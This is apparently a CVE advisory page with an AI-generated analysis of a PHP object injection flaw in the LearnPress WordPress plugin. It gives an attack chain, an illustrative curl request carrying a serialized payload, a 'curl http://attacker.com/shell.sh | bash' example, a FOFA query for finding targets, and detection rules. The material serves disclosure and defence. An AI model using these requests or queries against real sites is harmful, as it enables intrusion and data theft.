CVE Professor
/
All CVEs
CVE-2026-133950

CVE-2026-133950 — Thimpress LearnPress – WordPress LMS Plugin To C — CWE-502

HIGH CVSS 7.5 NVD

The LearnPress – WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.5.0 via deserialization of untrusted input . This makes it possible for authenticated attackers, with custom-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. The serialized payload is persisted through the plugin's lp_courses table JSON column via the cb_save_course AJAX handler, meaning deserialization is triggered by anonymous visitors and does not require any further action by the attacker after the initial write.

The LearnPress – WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.5.0 via deserialization of untrusted input . This makes it possible for authenticated attackers, with custom-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. The serialized payload is persisted through the plugin's lp_courses table JSON column via the cb_save_course AJAX handler, meaning deserialization is triggered by anonymous visitors and does not require any further action by the attacker after the initial write.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a PHP Object Injection (POI) flaw, classified under CWE-502: Deserialization of Untrusted Data. The core technical failure lies in the LearnPress plugin's handling of data within the lp_courses table, specifically within a JSON column.

The plugin utilizes a cb_save_course AJAX handler to persist course data. During this process, it accepts serialized PHP objects from user input and stores them directly into the database without proper sanitization or validation of the object class. Crucially, the vulnerability description notes that the serialized payload is persisted in the database. This means the deserialization event does not occur immediately upon submission by the attacker, but rather later when an anonymous visitor (or any user) views the course page, triggering the plugin's logic to retrieve and unserialize() the stored data.

The attack requires Low Privilege (PR:L) authentication (specifically "custom-level access and above," which in WordPress LMS contexts often refers to a specific role like lp_instructor or a custom role with course editing rights). The High Attack Complexity (AC:H) stems from the dependency on a POP Chain (Property-Oriented Programming chain). The LearnPress plugin itself does not contain a dangerous __wakeup() or __destruct() method that leads to Remote Code Execution (RCE). Therefore, the exploit is only viable if another plugin or theme on the same WordPress installation provides a vulnerable class that can be chained to achieve code execution, file deletion, or data exfiltration.

⚡ Attack Chain

1. Discovery & Reconnaissance

  • Fingerprinting: Identify the target WordPress site and confirm the presence of the LearnPress plugin.
  • Version Check: Verify the plugin version is $\le$ 4.5.0. This can be done by inspecting the wp-content/plugins/learnpress/readme.txt file (if accessible) or checking the plugin's frontend assets.
  • POP Chain Hunting: The attacker must identify if any* other installed plugin or theme contains a known POP chain. Common sources include older versions of WooCommerce, Elementor, WPBakery, or specific security plugins with known deserialization gadgets. Without a POP chain, this CVE is inert.
  • Credential Acquisition: Obtain valid credentials for a user with "custom-level access" (e.g., an instructor account). This may involve credential stuffing, social engineering, or exploiting a separate low-severity vulnerability.
  • 2. Exploitation

    The attacker crafts a malicious serialized PHP object payload that leverages the identified POP chain. The payload is injected into the cb_save_course AJAX endpoint.

    Illustrative PoC (Conceptual):
    Note: The exact parameter names for cb_save_course are not explicitly detailed in the CVE description. The following is an illustrative example of the mechanism.

    # 1. Authenticate to obtain a valid nonces and session cookie
    # Assume we have a valid instructor cookie: 'wordpress_logged_in_abc123=...'
    # And a valid nonce for the AJAX action: 'nonce_value'
    
    # 2. Craft the malicious serialized payload
    # Example: A POP chain using a hypothetical vulnerable class 'VulnerableClass'
    # The payload must be a valid serialized string that, when unserialized, triggers the chain.
    # For example, a chain leading to file write or command execution.
    # 
    # $payload = 'O:15:"VulnerableClass":1:{s:10:"command";s:10:"id > /tmp/pwned";}'
    # 
    # In a real scenario, the attacker would use a tool like `ysoserial` or a custom PHP script 
    # to generate the correct serialized string for the specific POP chain found on the target.
    
    # 3. Send the payload to the AJAX endpoint
    # The endpoint is typically /wp-admin/admin-ajax.php
    # The action is cb_save_course (as per CVE description)
    
    curl -X POST "https://target-site.com/wp-admin/admin-ajax.php" \
      -H "Cookie: wordpress_logged_in_abc123=..." \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "action=cb_save_course" \
      -d "nonce=nonce_value" \
      -d "course_id=123" \
      -d "course_data[description]=O:15:\"VulnerableClass\":1:{s:10:\"command\";s:10:\"id > /tmp/pwned\";}"

    Key Mechanism:
    The course_data parameter (or similar) is processed by the plugin. The plugin takes the raw string, potentially wraps it in JSON, and stores it in the lp_courses table's JSON column. The critical flaw is that the string is not sanitized to prevent it from being a serialized object.

    3. Post-Exploitation

  • Triggering Deserialization: The attacker does not need to wait. The payload is now stored in the database.
  • Anonymous Trigger: When any anonymous visitor (or the attacker themselves) visits the public course page (e.g., https://target-site.com/course/course-123/), the LearnPress plugin retrieves the course data from the database.
  • Execution: The plugin calls unserialize() on the stored data. This triggers the __wakeup() or __destruct() methods of the injected object, initiating the POP chain.
  • Impact: Depending on the POP chain, the attacker can:
  • * RCE: Execute arbitrary system commands (e.g., id, whoami, curl http://attacker.com/shell.sh | bash). * File Deletion: Delete critical files (e.g., .htaccess, wp-config.php). * Data Exfiltration: Read sensitive files (e.g., wp-config.php for DB credentials) and send them to an external server.

    🌍 Real World Impact

  • Confidentiality (High): If a POP chain allows file read, the attacker can exfiltrate wp-config.php (containing DB credentials), user data, and API keys.
  • Integrity (High): If a POP chain allows file write, the attacker can modify PHP files to inject webshells, alter course content, or deface the site.
  • Availability (High): If a POP chain allows file deletion or resource exhaustion, the attacker can take down the site or delete critical files.
  • Practical Consequences:
  • * Compromised LMS: Attackers can modify course content, delete student progress, or steal student data. * Site Takeover: Full RCE allows the attacker to install persistent backdoors, pivot to the internal network, or use the server for DDoS attacks. * Reputation Damage: Data breaches or defacement can severely damage the organization's reputation.

    🛡️ Remediation & Mitigation

    1. Upgrade

  • Affected Versions: All versions up to and including 4.5.0.
  • Recommendation: Upgrade to the latest version of LearnPress that addresses this vulnerability. Check the plugin's changelog for the specific fix. If no fixed version is available, consider switching to a different LMS plugin.
  • 2. Workarounds

  • Remove/Disable Vulnerable Plugins: If a POP chain is present in another plugin, update or remove that plugin. This breaks the exploitation chain.
  • Restrict Access: Limit the "custom-level access" role to only trusted users. Ensure that only legitimate instructors have access to the cb_save_course functionality.
  • Disable AJAX Handler: If possible, disable the cb_save_course AJAX action via a plugin or code snippet if it is not strictly necessary for the current workflow.
  • 3. Detection

  • Web Server Logs: Look for POST requests to /wp-admin/admin-ajax.php with action=cb_save_course from authenticated users.
  • Database Monitoring: Monitor the lp_courses table for unusual JSON content, especially strings starting with O: (serialized object) in fields that should contain plain text or simple JSON.
  • File Integrity Monitoring (FIM): Monitor for unexpected changes to PHP files, especially in wp-content/plugins/ and wp-content/themes/.
  • Process Monitoring: Monitor for unexpected child processes spawned by the web server (e.g., bash, curl, wget).
  • Example ModSecurity Rule (Illustrative):

    # Block serialized PHP objects in AJAX requests to cb_save_course
    SecRule REQUEST_URI "@rx /wp-admin/admin-ajax.php" \
        "id:100001,phase:2,log,pass"
    SecRule ARGS:action "@eq cb_save_course" \
        "id:100002,phase:2,log,pass"
    SecRule ARGS:course_data "@rx ^O:\d+:" \
        "id:100003,phase:2,log,block,msg:'Potential PHP Object Injection in cb_save_course'"

    ⚠️ Urgency

  • CVSS Score: 7.5 (High)
  • CISA KEV: No
  • Exploit Complexity: High (requires POP chain)
  • Priority: Medium-High
While the CVSS score is High, the High Attack Complexity due to the POP chain dependency reduces the immediate risk for sites with a clean plugin ecosystem. However, for sites with multiple plugins, the risk is significant.

Recommended Action:
1. Immediate: Audit all installed plugins and themes for known POP chains. Update or remove any vulnerable components.
2. Short-term: Upgrade LearnPress to the latest version.
3. Ongoing: Implement WAF rules to detect serialized object injection and monitor for suspicious AJAX requests.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WordPress" && body="/wp-content/plugins/learnpress-wordpress-lms-plugin-for-crea"
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
thimpress:LearnPress – WordPress LMS Plugin to Create and Sell Online Courses (4.5.0)
Related CVEs
7.2
CVE-2026-132623
The WP Hotel Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'thimpress_hote
6.4
CVE-2026-135268
The WP Hotel Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'label_field_da
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
8.7
CVE-2026-132098
Deserialization of untrusted data in the XStream reader used for push publishing bundles (XStreamHandler) in d
8.5
CVE-2026-144447
MassCube before 1.2.23 contains an insecure deserialization vulnerability that allows attackers to execute cod
8.5
CVE-2026-144450
galpy through 1.12.2 contains an insecure deserialization vulnerability that allows attackers to execute code
8.5
CVE-2026-144451
VIP (vip-hci) through 2.1.2 contains an unsafe deserialization vulnerability in Saveable.load that allows atta